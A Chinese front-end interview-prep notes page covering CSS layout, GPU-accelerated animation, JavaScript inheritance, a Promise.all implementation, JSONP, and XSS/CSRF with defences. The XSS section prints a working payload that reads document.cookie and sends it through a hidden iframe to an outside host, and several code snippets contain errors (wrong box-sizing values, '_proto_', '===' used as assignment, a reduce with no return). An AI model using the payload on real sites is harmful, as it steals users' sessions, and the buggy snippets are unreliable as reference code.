面试题记-CSS篇
https://juejin.im/post/5cdb7bc26fb9a0321557044d
- 盒模型
box-sizing: box-border // width=padding + border + content
box-sizing: box-border // width=content
- 水平居中
justify-content: center //水平
align-items: center // 垂直
left: 50%
transform:translateX(-50%)
margin:0 auto //块及元素
text-align: center //行内元素
- 垂直居中
line-height //单行文本
.parent::after, .son{
display:inline-block;
vertical-align:middle;
}
.parent::after{
content:'';
height:100%;
}
- 三栏布局
.layout{
display: flex;
.left{
width: 300px;
}
.right{
width: 300px;
}
.middle{
flex:1
}
}
- 左右等高布局
.layout{
display:flex;
.left{
flex: 0 0 100px; // flex: flex-grow flex:shrink flex-basis
}
.right{
flex:1
}
}
优化之-css解析器优化
- css选择符是从右向左开始匹配的,而不是从左向右
#test li(浏览器必须遍历每个li元素,然后确认每个li的父元素是否为#test)
li #test
.test_li(匹配到即可)
- css优化
1 不要使用通配符
2 使用继承属性,避免重复匹配
3 减少嵌套
- css阻塞问题
css加载的时候,不会阻碍dom的解析,但是会阻碍dom的渲染(白屏)
同时会阻碍js语句的执行
因为link只能放在head里面
如何开启GPU加速
方法:
- opacity
- transform
transform:translateZ(0); // 设置这个属性不影响动画
GPU与CPU?
- GPU
主要做图形处理,渲染顶点,图像变换,吞吐大,运算大,但是对数据流处理能力没有CPU好
- CPU
对复杂的数据流控制更好
了解页面卡顿的原因
- 16ms优化
大多数设备刷新频率60HZ(60次/s),每一次刷新耗时16.6ms(1000/60)
所以在浏览器的每一帧画面要在16ms内完成,这样看起来页面才不会卡顿
- 浏览器的每一帧做什么?
javascript -> style -> layout -> paint -> composite
js: 实现动画,DOM元素的操作
style: 计算DOM应该运用什么css规则
layout: 计算每个DOM的位置和大小,每个DOM位置变化都要reflow
paint: 在多个层上绘制DOM元素的文字,颜色,图像等
composite:渲染层合并,合并图层显示到屏幕上(layer终极)
GPU为什么能加速
关键: 避免layout paint这两个最耗时的步骤,
javascript -> style -> layout -> paint -> composite
javascript -> style -> composite
可以让每一帧画面在16ms内完成,所以看起来不卡顿
60帧最适合人眼交互,低于30fps一下的动画,让人感觉明显变得卡顿
- 为什么能避免layout和paint?
开启GPU后,会将经常变换的DOM提升单独的复合层,就不会改变自己和周围的DOM布局
所以每一帧内,浏览器就不用不断的回流,重绘
只需要第一次布局元素,位图绘入元素,将位图同步到绘制器,加载到GPU内存,然后位图从GPU内存绘制到屏幕上
GPU加速这么好,那么都用GPU加速行不行?
不行,因为GPU不仅要发送渲染图层到GPU,还要存储他们,一边稍后动画中使用
由此,没创建一个新的渲染层,就要消耗内存和复杂的层管理,特别对于移动设备来说,过多的GPU加速会导致页面卡顿合闪退
GPU导致闪退坑
z-index导致创建意外的复合层
A:{
z-index: 10 //开启的GPU
}
B:{
z-index: 15 //没有开启GPU
}
由于B在A上面,所以B会被默认开启GPU,导致额外创建新的合成层,过多会导致手机页面闪退,卡顿
渲染一个网页需要两个线程完成
- 主线程
- compositor thread(绘制线程)
在有动画,没有开启GPU加速情况下
优化案列
- 优化前
@keyframes animation {
0% {
top: 10px;
}
50% {
top: 30px;
}
}
- 优化后
通过开启GPU加速,避免layout,paint,让动画更流畅
@keyframes animation {
0% {
transform: translateY(10px);
}
50% {
transform: translateY(30px);
}
}
参考链接:
https://github.com/ccforward/cc/issues/42
https://aotu.io/notes/2017/04/11/GPU/
js部分
- 不借助第三者交换a,b的值
[a,b] = [b,a]
- new的实现过程
function myNew(fn,...args){
var obj = {}
let res = fn.call(obj,args)
obj._proto_ = fn.prototype
return res instanceof Object ? res : obj
}
继承
- 直接prototype模式继承
function inherit(child,father){
// 缺点改变了其构造函数
child.prototype === father.prototype
// 每个prototype都有一个constructor指向函数的构造函数
child.prototype.constructor = child
}
let c = new child()
c.constructor = child // true
// 如果不加child.prototype.constructor = father
c.constructor = father // true
c明明是child构造函数生成的这里的constructor却只向了father导致继承紊乱
上述缺点:
二者都指向了同一个对象,任何对child.prototype修改,就会反应到father.prototyp上来
- 完美继承,利用控对象
function inherit(child,father){
function temp(){} //控对象省内存
temp.prototype = father.prototype
child.prototype = new temp()
child.prototype.constructor = child
}
上述怎么实现继承的
let c = new child()
c.age
现在c上找有没有age,没有顺着原型链c._proto_(construcort.prototype)去找
constructor.prototype = new temp()
new temp().age没有
new temp()._proto_ = temp.prototype上找
如此实现继承
实现promise.all
function myPromiseAll(promiseArr){
// 为了让传入的值不是promise也返回promise
return new Promise((resolve,reject) => {
if(!Array.isArray(promiseArr)){
throw('promiseArr必须为数组')
}
let resArr = []
let len = promiseArr.length;
let count = 0;
for(let i = 0; i < len; i++){
// Promise.resolve将数组中非promise转为promise
Promise.resolve(promiseArr[i])
.then(value => {
count++
resArr[i] = value
if(count == len) return resolve(resArr)
})
.catch(err => {
return reject(err)
})
}
})
}
let p1 = Promise.resolve(1)
let p2 = Promise.resolve(2)
let p3 = Promise.resolve(3)
myPromiseAll([p1,p3,p2]).then(res => {
console.log(res); // [1,3,2]
})
JSOP实现跨域原理
script标签的src不受同源策略影响,可以获取服务器脚本执行
jsop通过script标签实现跨域
只能通过url传入,只支持get请求
xss攻击(cross site scirpting)
- 持续xss攻击,来源数据库
用户A评论内容:
<script>alert(‘aaa’)</script>,提交给服务器
用户B查看用户A评论内容:
服务器返回:
<script>alert(‘aaa’)</script>
- 反射性xss
用户点开了恶意链接:
http://xxx?info=<script>alert('aaa')</script>
XSS:脚本注入
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
CSRF:跨站请求伪造(冒充用户发起请求),一般依赖XSS,也可以通过命令行模式直接伪造
XSS实现:
访问A网站,浏览器对html中的script标签解析,并执行其中脚本,如果脚本包含AJAX请求,
由于script不受同源策略影响,里面的代码可以跨域将用户的cookie信息发送到黑客的服务器,
保存在自己的数据库,而cookie携带了用户的隐私消息,黑客进而可以发邮件,发的等其他业务操作;
这里还只是存储了cookie信息,没有伪造客服发送请求只能叫XSS攻击
解决:
1、既然script标签有问题,那么久用htmlspecialchars(xx),可以将script标签过滤成安全字符
2、将scrpt转换成Unicode编码注入,可以对Unicode反编译过后,再用htmlspecialchars
3、尽量使用innerText(IE)和textContent(FF),若一定要使用innerHTML时记得做过滤
4、在输出html时,加上Content Security Policy的Http Header
5、在开发API时,检验请求的Referer参数
CSRF攻击:
1、当获取到用户的从cookie后进行分析,可以伪装成客户发送请求,比如登录网址,发碟,改名字等等
2、验证码,黑客网站是获取不到用户session的验证码或者加taken,
3、post代替get可以了
方位A网站,生成了cookie,然后访问黑客网站,黑客网站截取到了URL,冒充用户发送请求
所以安全的关键就是保护好cookie:
1、通过escape对字符串编码,,可以正常显示但不会被当做标签来解析
2、设置httponly,js无法读取cookie
encodeURI//不会对ASCII码和数字以及标点符号例如- _ . ! ~ * ' ( ) 。但是<要
首先
参考文章:https://www.cnblogs.com/caizhenbo/p/6836390.html
数组去重复
- Es6
funtion uniq(arr){
return [...new Set(arr)]
}
- includes
function uniq(arry) {
var res = [];
for (var i = 0; i < arry.length; i++) {
if (!res.includes(arry[i])) {
res.push(arry[i])
}
}
return res;
}
- reduce
funtion unit(arr){
arr.reduce((pre,cur) => {
pre.includes(cur) ? pre : pre.push(cur)
},[])
}
import和module.exports理解
- js中的假值
undefined null NaN 0 '' false
"" ,new Number(0) , new Boolean(false); //不是
- console.log(typeof typeof 1); // typeof ‘number’ = string
- 块及作用域问题
(() => {
let x, y;
try {
throw new Error();
} catch (x) {
(x = 1)// x为catch的x,块及作用域
(y = 2); // let定义的y
console.log(x); // 1
}
console.log(x); // undefined
console.log(y); // 2
})();
- js中只有原始类型(7基本类型)和对象